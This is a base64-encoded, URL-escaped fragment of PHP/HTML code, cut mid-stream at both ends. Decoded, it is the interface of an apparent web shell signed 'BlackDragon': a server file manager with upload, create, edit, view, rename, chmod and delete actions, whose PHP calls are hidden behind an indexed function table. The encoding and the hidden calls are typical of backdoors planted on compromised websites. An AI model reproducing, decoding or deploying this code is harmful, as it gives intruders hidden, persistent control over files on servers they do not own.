NsYXNzPVwidGV4dC1ibHVlLTYwMCBob3Zlcjp1bmRlcmxpbmVcIj5cLzxcL2E%2BXHJcbiAgICAgICAgICAgICAgICAgICAgPD9waHAgZWxzZWlmICgkcGF0ID09ICcnKTogPz5cclxuICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgY29udGludWU7ID8%2BXHJcbiAgICAgICAgICAgICAgICAgICAgPD9waHAgZWxzZWlmICgkaWQgKyAxID09IGNvdW50KCRleGRpcikpOiA%2FPlxyXG4gICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz1cInRleHQtZ3JheS01MDBcIj48P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHBhdCk7ID8%2BPFwvc3Bhbj5cclxuICAgICAgICAgICAgICAgICAgICA8P3BocCBlbHNlOiA%2FPlxyXG4gICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPVwiP2Rpcj08P3BocCBmb3IgKCRpID0gMDsgJGkgPD0gJGlkOyAkaSsrKSB7IGVjaG8gaHRtbHNwZWNpYWxjaGFycygkZXhkaXJbJGldKTsgaWYgKCRpICE9ICRpZCkgZWNobyBcIlwvXCI7IH0gPz5cIiBjbGFzcz1cInRleHQtYmx1ZS02MDAgaG92ZXI6dW5kZXJsaW5lXCI%2BPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRwYXQpOyA%2FPjxcL2E%2BXHJcbiAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPVwidGV4dC1ncmF5LTUwMFwiPlwvPFwvc3Bhbj5cclxuICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz5cclxuICAgICAgICAgICAgICAgIDw%2FcGhwIGVuZGZvcmVhY2g7ID8%2BXHJcbiAgICAgICAgICAgICAgICA8YSBocmVmPVwiP1wiIGNsYXNzPVwidGV4dC1ibHVlLTYwMCBob3Zlcjp1bmRlcmxpbmVcIj5bIEhPTUUgXTxcL2E%2BXHJcbiAgICAgICAgICAgIDxcL2Rpdj5cclxuICAgICAgICAgICAgPGRpdiBjbGFzcz1cImdyaWQgZ3JpZC1jb2xzLTEgc206Z3JpZC1jb2xzLTMgZ2FwLTQgbWItNFwiPlxyXG4gICAgICAgICAgICAgICAgPGZvcm0gbWV0aG9kPVwiUE9TVFwiIGVuY3R5cGU9XCJtdWx0aXBhcnRcL2Zvcm0tZGF0YVwiIGNsYXNzPVwiZmxleCBpdGVtcy1jZW50ZXJcIj5cclxuICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1cImZpbGVcIiBuYW1lPVwidXBsb2FkZmlsZVtdXCIgY2xhc3M9XCJmb3JtLWNvbnRyb2wgZmxleC1ncm93XCIgbXVsdGlwbGU%2BXHJcbiAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPVwic3VibWl0XCIgY2xhc3M9XCJidG4gYnRuLXByaW1hcnkgbWwtMlwiPjxpIGNsYXNzPVwiZmFzIGZhLXVwbG9hZFwiPjxcL2k%2BPFwvYnV0dG9uPlxyXG4gICAgICAgICAgICAgICAgPFwvZm9ybT5cclxuICAgICAgICAgICAgICAgIDxmb3JtIG1ldGhvZD1cIlBPU1RcIiBjbGFzcz1cImZsZXggaXRlbXMtY2VudGVyXCI%2BXHJcbiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cIm5ld0ZvbGRlck5hbWVcIiBjbGFzcz1cImZvcm0tY29udHJvbCBmbGV4LWdyb3dcIiBwbGFjZWhvbGRlcj1cIk5ldyBGb2xkZXJcIj5cclxuICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9XCJzdWJtaXRcIiBjbGFzcz1cImJ0biBidG4tcHJpbWFyeSBtbC0yXCI%2BPGkgY2xhc3M9XCJmYXMgZmEtZm9sZGVyLXBsdXNcIj48XC9pPjxcL2J1dHRvbj5cclxuICAgICAgICAgICAgICAgIDxcL2Zvcm0%2BXHJcbiAgICAgICAgICAgICAgICA8Zm9ybSBtZXRob2Q9XCJQT1NUXCIgY2xhc3M9XCJmbGV4IGl0ZW1zLWNlbnRlclwiPlxyXG4gICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJuZXdGaWxlTmFtZVwiIGNsYXNzPVwiZm9ybS1jb250cm9sIGZsZXgtZ3Jvd1wiIHBsYWNlaG9sZGVyPVwiTmV3IEZpbGVcIj5cclxuICAgICAgICAgICAgICAgICAgICA8dGV4dGFyZWEgbmFtZT1cIm5ld0ZpbGVDb250ZW50XCIgY2xhc3M9XCJmb3JtLWNvbnRyb2wgbXQtMlwiIHJvd3M9XCIyXCIgcGxhY2Vob2xkZXI9XCJGaWxlIENvbnRlbnRcIj48XC90ZXh0YXJlYT5cclxuICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9XCJzdWJtaXRcIiBjbGFzcz1cImJ0biBidG4tcHJpbWFyeSBtbC0yXCI%2BPGkgY2xhc3M9XCJmYXMgZmEtZmlsZS1wbHVzXCI%2BPFwvaT48XC9idXR0b24%2BXHJcbiAgICAgICAgICAgICAgICA8XC9mb3JtPlxyXG4gICAgICAgICAgICA8XC9kaXY%2BXHJcbiAgICAgICAgICAgIDw%2FcGhwIGlmIChpc3NldCgkX0dFVFsnYWN0aW9uJ10pICYmICRfR0VUWydhY3Rpb24nXSAhPSAnZGVsZXRlJyk6ID8%2BXHJcbiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibWItNFwiPlxyXG4gICAgICAgICAgICAgICAgICAgIDw%2FcGhwIGlmICgkX0dFVFsnYWN0aW9uJ10gPT0gJ3JlbmFtZScgJiYgaXNzZXQoJF9HRVRbJ2l0ZW0nXSkpOiA%2FPlxyXG4gICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBtZXRob2Q9XCJQT1NUXCIgY2xhc3M9XCJzcGFjZS15LTRcIj5cclxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBjbGFzcz1cImJsb2NrIHRleHQtc20gZm9udC1tZWRpdW0gdGV4dC1ncmF5LTcwMFwiPk5ldyBOYW1lPFwvbGFiZWw%2BXHJcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwibmV3TmFtZVwiIGNsYXNzPVwiZm9ybS1jb250cm9sIHctZnVsbFwiIHZhbHVlPVwiPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRfR0VUWydpdGVtJ10pOyA%2FPlwiPlxyXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImZsZXggZ2FwLTJcIj5cclxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9XCJzdWJtaXRcIiBjbGFzcz1cImJ0biBidG4tcHJpbWFyeVwiPjxpIGNsYXNzPVwiZmFzIGZhLXNhdmUgbXItMlwiPjxcL2k%2BIFN1Ym1pdDxcL2J1dHRvbj5cclxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPVwiP2Rpcj08P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHBhdGgpOyA%2FPlwiIGNsYXNzPVwiYnRuIGJ0bi1zZWNvbmRhcnlcIj5CYWNrPFwvYT5cclxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cclxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvZm9ybT5cclxuICAgICAgICAgICAgICAgICAgICA8P3BocCBlbHNlaWYgKCRfR0VUWydhY3Rpb24nXSA9PSAnZWRpdCcgJiYgaXNzZXQoJF9HRVRbJ2l0ZW0nXSkpOiA%2FPlxyXG4gICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBtZXRob2Q9XCJQT1NUXCIgY2xhc3M9XCJzcGFjZS15LTRcIj5cclxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBjbGFzcz1cImJsb2NrIHRleHQtc20gZm9udC1tZWRpdW0gdGV4dC1ncmF5LTcwMFwiPjw%2FcGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkX0dFVFsnaXRlbSddKTsgPz48XC9sYWJlbD5cclxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZXh0YXJlYSBuYW1lPVwibmV3Q29udGVudFwiIHJvd3M9XCIxMFwiIGNsYXNzPVwiZm9ybS1jb250cm9sIHctZnVsbFwiIGlkPVwiQ29weUZyb21UZXh0QXJlYVwiPjw%2FcGhwIGVjaG8gJGZ1bmNbOV0oJGZ1bmNbNV0oJHBhdGggLiAnXC8nIC4gJF9HRVRbJ2l0ZW0nXSkpOyA%2FPjxcL3RleHRhcmVhPlxyXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImZsZXggZ2FwLTJcIj5cclxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9XCJzdWJtaXRcIiBjbGFzcz1cImJ0biBidG4tcHJpbWFyeVwiPjxpIGNsYXNzPVwiZmFzIGZhLXNhdmUgbXItMlwiPjxcL2k%2BIFN1Ym1pdDxcL2J1dHRvbj5cclxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9XCJidXR0b25cIiBjbGFzcz1cImJ0biBidG4tc2Vjb25kYXJ5XCIgb25jbGljaz1cImNvcHlUZXh0KClcIj5Db3B5PFwvYnV0dG9uPlxyXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9XCI%2FZGlyPTw%2FcGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkcGF0aCk7ID8%2BXCIgY2xhc3M9XCJidG4gYnRuLXNlY29uZGFyeVwiPkJhY2s8XC9hPlxyXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxyXG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9mb3JtPlxyXG4gICAgICAgICAgICAgICAgICAgIDw%2FcGhwIGVsc2VpZiAoJF9HRVRbJ2FjdGlvbiddID09ICd2aWV3JyAmJiBpc3NldCgkX0dFVFsnaXRlbSddKSk6ID8%2BXHJcbiAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBjbGFzcz1cImJsb2NrIHRleHQtc20gZm9udC1tZWRpdW0gdGV4dC1ncmF5LTcwMFwiPjw%2FcGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkX0dFVFsnaXRlbSddKTsgPz48XC9sYWJlbD5cclxuICAgICAgICAgICAgICAgICAgICAgICAgPHRleHRhcmVhIHJvd3M9XCIxMFwiIGNsYXNzPVwiZm9ybS1jb250cm9sIHctZnVsbFwiIGRpc2FibGVkPjw%2FcGhwIGVjaG8gJGZ1bmNbOV0oJGZ1bmNbNV0oJHBhdGggLiAnXC8nIC4gJF9HRVRbJ2l0ZW0nXSkpOyA%2FPjxcL3RleHRhcmVhPlxyXG4gICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPVwiP2Rpcj08P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHBhdGgpOyA%2FPlwiIGNsYXNzPVwiYnRuIGJ0bi1zZWNvbmRhcnkgbXQtMlwiPkJhY2s8XC9hPlxyXG4gICAgICAgICAgICAgICAgICAgIDw%2FcGhwIGVsc2VpZiAoJF9HRVRbJ2FjdGlvbiddID09ICdjaG1vZCcgJiYgaXNzZXQoJF9HRVRbJ2l0ZW0nXSkpOiA%2FPlxyXG4gICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBtZXRob2Q9XCJQT1NUXCIgY2xhc3M9XCJzcGFjZS15LTRcIj5cclxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBjbGFzcz1cImJsb2NrIHRleHQtc20gZm9udC1tZWRpdW0gdGV4dC1ncmF5LTcwMFwiPjw%2FcGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkX0dFVFsnaXRlbSddKTsgPz48XC9sYWJlbD5cclxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJuZXdQZXJtXCIgY2xhc3M9XCJmb3JtLWNvbnRyb2wgdy1mdWxsXCIgdmFsdWU9XCI8P3BocCBlY2hvICRmdW5jWzExXSgkZnVuY1sxMF0oJyVvJywgJGZ1bmNbNl0oJHBhdGggLiAnXC8nIC4gJF9HRVRbJ2l0ZW0nXSkpLCAtNCk7ID8%2BXCI%2BXHJcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiZmxleCBnYXAtMlwiPlxyXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT1cInN1Ym1pdFwiIGNsYXNzPVwiYnRuIGJ0bi1wcmltYXJ5XCI%2BPGkgY2xhc3M9XCJmYXMgZmEtc2F2ZSBtci0yXCI%2BPFwvaT4gU3VibWl0PFwvYnV0dG9uPlxyXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9XCI%2FZGlyPTw%2FcGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkcGF0aCk7ID8%2BXCIgY2xhc3M9XCJidG4gYnRuLXNlY29uZGFyeVwiPkJhY2s8XC9hPlxyXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxyXG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9mb3JtPlxyXG4gICAgICAgICAgICAgICAgICAgIDw%2FcGhwIGVuZGlmOyA%2FPlxyXG4gICAgICAgICAgICAgICAgPFwvZGl2PlxyXG4gICAgICAgICAgICA8P3BocCBlbHNlOiA%2FPlxyXG4gICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cInRhYmxlLXJlc3BvbnNpdmVcIj5cclxuICAgICAgICAgICAgICAgICAgICA8dGFibGUgY2xhc3M9XCJ0YWJsZSB0YWJsZS1ib3JkZXJlZCB0YWJsZS1zdHJpcGVkXCI%2BXHJcbiAgICAgICAgICAgICAgICAgICAgICAgIDx0aGVhZD5cclxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0cj5cclxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGg%2BTmFtZTxcL3RoPlxyXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0aD5UeXBlPFwvdGg%2BXHJcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRoPlNpemU8XC90aD5cclxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGg%2BT3duZXJcL0dyb3VwPFwvdGg%2BXHJcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRoPlBlcm1pc3Npb248XC90aD5cclxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGg%2BTGFzdCBNb2RpZmllZDxcL3RoPlxyXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0aD5BY3Rpb25zPFwvdGg%2BXHJcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC90cj5cclxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvdGhlYWQ%2BXHJcbiAgICAgICAgICAgICAgICAgICAgICAgIDx0Ym9keT5cclxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw%2FcGhwIGZvcmVhY2ggKCRkaXJzIGFzICRkaXIpOiBpZiAoIWlzX2RpcigkcGF0aCAuICdcLycgLiAkZGlyKSk6IGNvbnRpbnVlOyBlbmRpZjsgPz5cclxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dHI%2BXHJcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD5cclxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw%2FcGhwIGlmICgkZGlyID09PSAnLi4nKTogPz5cclxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPVwiP2Rpcj08P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGZ1bmNbMjJdKCRwYXRoKSk7ID8%2BXCIgY2xhc3M9XCJ0ZXh0LWJsdWUtNjAwIGhvdmVyOnVuZGVybGluZVwiPjxpIGNsYXNzPVwiZmFzIGZhLWZvbGRlci1vcGVuIG1yLTJcIj48XC9pPjw%2FcGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkZGlyKTsgPz48XC9hPlxyXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZWxzZWlmICgkZGlyID09PSAnLicpOiA%2FPlxyXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9XCI%2FZGlyPTw%2FcGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkcGF0aCk7ID8%2BXCIgY2xhc3M9XCJ0ZXh0LWJsdWUtNjAwIGhvdmVyOnVuZGVybGluZVwiPjxpIGNsYXNzPVwiZmFzIGZhLWZvbGRlci1vcGVuIG1yLTJcIj48XC9pPjw%2FcGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkZGlyKTsgPz48XC9hPlxyXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZWxzZTogPz5cclxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPVwiP2Rpcj08P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHBhdGggLiAnXC8nIC4gJGRpcik7ID8%2BXCIgY2xhc3M9XCJ0ZXh0LWJsdWUtNjAwIGhvdmVyOnVuZGVybGluZVwiPjxpIGNsYXNzPVwiZmFzIGZhLWZvbGRlciBtci0yXCI%2BPFwvaT48P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGRpcik7ID8%2BPFwvYT5cclxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw%2FcGhwIGVuZGlmOyA%2FPlxyXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC90ZD5cclxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjw%2FcGhwIGVjaG8gJGZ1bmNbOF0oJHBhdGggLiAnXC8nIC4gJGRpcik7ID8%2BPFwvdGQ%2BXHJcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD4tPFwvdGQ%2BXHJcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48P3BocCBlY2hvIGdldE93bmVyKCRwYXRoIC4gJ1wvJyAuICRkaXIpOyA%2FPjxcL3RkPlxyXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ%2BPD9waHAgZWNobyAkZnVuY1sxMV0oJGZ1bmNbMTBdKCclbycsICRmdW5jWzZdKCRwYXRoIC4gJ1wvJyAuICRkaXIpKSwgLTQpOyA%2FPjxcL3RkPlxyXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ%2BPD9waHAgZWNobyAkZnVuY1syM10oXCJZLW0tZCBoOmk6c1wiLCAkZnVuY1s3XSgkcGF0aCAuICdcLycgLiAkZGlyKSk7ID8%2BPFwvdGQ%2BXHJcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD5cclxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw%2FcGhwIGlmICgkZGlyICE9ICcuJyAmJiAkZGlyICE9ICcuLicpOiA%2FPlxyXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJmbGV4IGdhcC0yXCI%2BXHJcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9XCI%2FZGlyPTw%2FcGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkcGF0aCk7ID8%2BJml0ZW09PD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRkaXIpOyA%2FPiZhY3Rpb249cmVuYW1lXCIgY2xhc3M9XCJidG4gYnRuLXByaW1hcnkgYnRuLXNtXCI%2BPGkgY2xhc3M9XCJmYXMgZmEtZWRpdFwiPjxcL2k%2BPFwvYT5cclxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj1cIj9kaXI9PD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRwYXRoKTsgPz4maXRlbT08P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGRpcik7ID8%2BJmFjdGlvbj1jaG1vZFwiIGNsYXNzPVwiYnRuIGJ0bi1wcmltYXJ5IGJ0bi1zbVwiPjxpIGNsYXNzPVwiZmFzIGZhLWZpbGUtc2lnbmF0dXJlXCI%2BPFwvaT48XC9hPlxyXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPVwiP2Rpcj08P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHBhdGgpOyA%2FPiZpdGVtPTw%2FcGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkZGlyKTsgPz4mYWN0aW9uPWRlbGV0ZVwiIGNsYXNzPVwiYnRuIGJ0bi1kYW5nZXIgYnRuLXNtXCIgb25jbGljaz1cInJldHVybiBjb25maXJtKCdBcmUgeW91IHN1cmUgeW91IHdhbnQgdG8gZGVsZXRlIHRoaXM%2FJylcIj48aSBjbGFzcz1cImZhcyBmYS10cmFzaFwiPjxcL2k%2BPFwvYT5cclxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY%2BXHJcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz5cclxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvdGQ%2BXHJcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvdHI%2BXHJcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRmb3JlYWNoOyA%2FPlxyXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZm9yZWFjaCAoJGRpcnMgYXMgJGRpcik6IGlmICghaXNfZmlsZSgkcGF0aCAuICdcLycgLiAkZGlyKSk6IGNvbnRpbnVlOyBlbmRpZjsgPz5cclxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dHI%2BXHJcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD5cclxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9XCI%2FZGlyPTw%2FcGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkcGF0aCk7ID8%2BJml0ZW09PD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRkaXIpOyA%2FPiZhY3Rpb249dmlld1wiIGNsYXNzPVwidGV4dC1ibHVlLTYwMCBob3Zlcjp1bmRlcmxpbmVcIj48aSBjbGFzcz1cImZhcyBmYS1maWxlLWNvZGUgbXItMlwiPjxcL2k%2BPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRkaXIpOyA%2FPjxcL2E%2BXHJcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL3RkPlxyXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ%2BPD9waHAgZWNobyAkZnVuY1syNV0oJ21pbWVfY29udGVudF90eXBlJykgPyAkZnVuY1syNF0oJHBhdGggLiAnXC8nIC4gJGRpcikgOiAkZnVuY1s4XSgkcGF0aCAuICdcLycgLiAkZGlyKTsgPz48XC90ZD5cclxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjw%2FcGhwIGVjaG8gZnNpemUoJHBhdGggLiAnXC8nIC4gJGRpcik7ID8%2BPFwvdGQ%2BXHJcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48P3BocCBlY2hvIGdldE93bmVyKCRwYXRoIC4gJ1wvJyAuICRkaXIpOyA%2FPjxcL3RkPlxyXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ%2BPD9waHAgZWNobyAkZnVuY1sxMV0oJGZ1bmNbMTBdKCclbycsICRmdW5jWzZdKCRwYXRoIC4gJ1wvJyAuICRkaXIpKSwgLTQpOyA%2FPjxcL3RkPlxyXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ%2BPD9waHAgZWNobyAkZnVuY1syM10oXCJZLW0tZCBoOmk6c1wiLCAkZnVuY1s3XSgkcGF0aCAuICdcLycgLiAkZGlyKSk7ID8%2BPFwvdGQ%2BXHJcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD5cclxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJmbGV4IGdhcC0yXCI%2BXHJcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj1cIj9kaXI9PD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRwYXRoKTsgPz4maXRlbT08P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGRpcik7ID8%2BJmFjdGlvbj1lZGl0XCIgY2xhc3M9XCJidG4gYnRuLXByaW1hcnkgYnRuLXNtXCI%2BPGkgY2xhc3M9XCJmYXMgZmEtZmlsZS1lZGl0XCI%2BPFwvaT48XC9hPlxyXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9XCI%2FZGlyPTw%2FcGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkcGF0aCk7ID8%2BJml0ZW09PD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRkaXIpOyA%2FPiZhY3Rpb249cmVuYW1lXCIgY2xhc3M9XCJidG4gYnRuLXByaW1hcnkgYnRuLXNtXCI%2BPGkgY2xhc3M9XCJmYXMgZmEtZWRpdFwiPjxcL2k%2BPFwvYT5cclxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPVwiP2Rpcj08P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHBhdGgpOyA%2FPiZpdGVtPTw%2FcGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkZGlyKTsgPz4mYWN0aW9uPWNobW9kXCIgY2xhc3M9XCJidG4gYnRuLXByaW1hcnkgYnRuLXNtXCI%2BPGkgY2xhc3M9XCJmYXMgZmEtZmlsZS1zaWduYXR1cmVcIj48XC9pPjxcL2E%2BXHJcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj1cIj9kaXI9PD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRwYXRoKTsgPz4maXRlbT08P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGRpcik7ID8%2BJmFjdGlvbj1kZWxldGVcIiBjbGFzcz1cImJ0biBidG4tZGFuZ2VyIGJ0bi1zbVwiIG9uY2xpY2s9XCJyZXR1cm4gY29uZmlybSgnQXJlIHlvdSBzdXJlIHlvdSB3YW50IHRvIGRlbGV0ZSB0aGlzPycpXCI%2BPGkgY2xhc3M9XCJmYXMgZmEtdHJhc2hcIj48XC9pPjxcL2E%2BXHJcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY%2BXHJcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL3RkPlxyXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL3RyPlxyXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZW5kZm9yZWFjaDsgPz5cclxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvdGJvZHk%2BXHJcbiAgICAgICAgICAgICAgICAgICAgPFwvdGFibGU%2BXHJcbiAgICAgICAgICAgICAgICA8XC9kaXY%2BXHJcbiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwidGV4dC1jZW50ZXIgdGV4dC1ncmF5LTUwMCBtdC00XCI%2BXHJcbiAgICAgICAgICAgICAgICAgICAgJmNvcHk7IEJsYWNrRHJhZ29uIDw%2FcGhwIGVjaG8gZGF0ZSgnWScpOyA%2FPlxyXG4gICAgICAgICAgICAgICAgPFwvZGl2PlxyXG4gICAgICAgICAgICA8P3BocCBlbmRpZjsgPz5cclxuICAgICAgICA8XC9kaXY%2BXHJcbiAgICA8P3BocCBlbmRpZjsgPz5cclxuICAgIDxzY3JpcHQ%2BXHJcbiAgICAgICAgZnVuY3Rpb24gY29weVRleHQoKSB7XHJcbiAgICAgICAgICAgIHZhciB0ZXh0YXJlYSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKFwiQ29weUZyb21UZXh0QXJlYVwiKTtcclxuICAgICAgICAgICAgdGV4dGFyZWEuc2VsZWN0KCk7XHJcbiAgICAgICAgICAgIGRvY3VtZW50LmV4ZWNDb21tYW5kKFwiY29weVwiKTtccl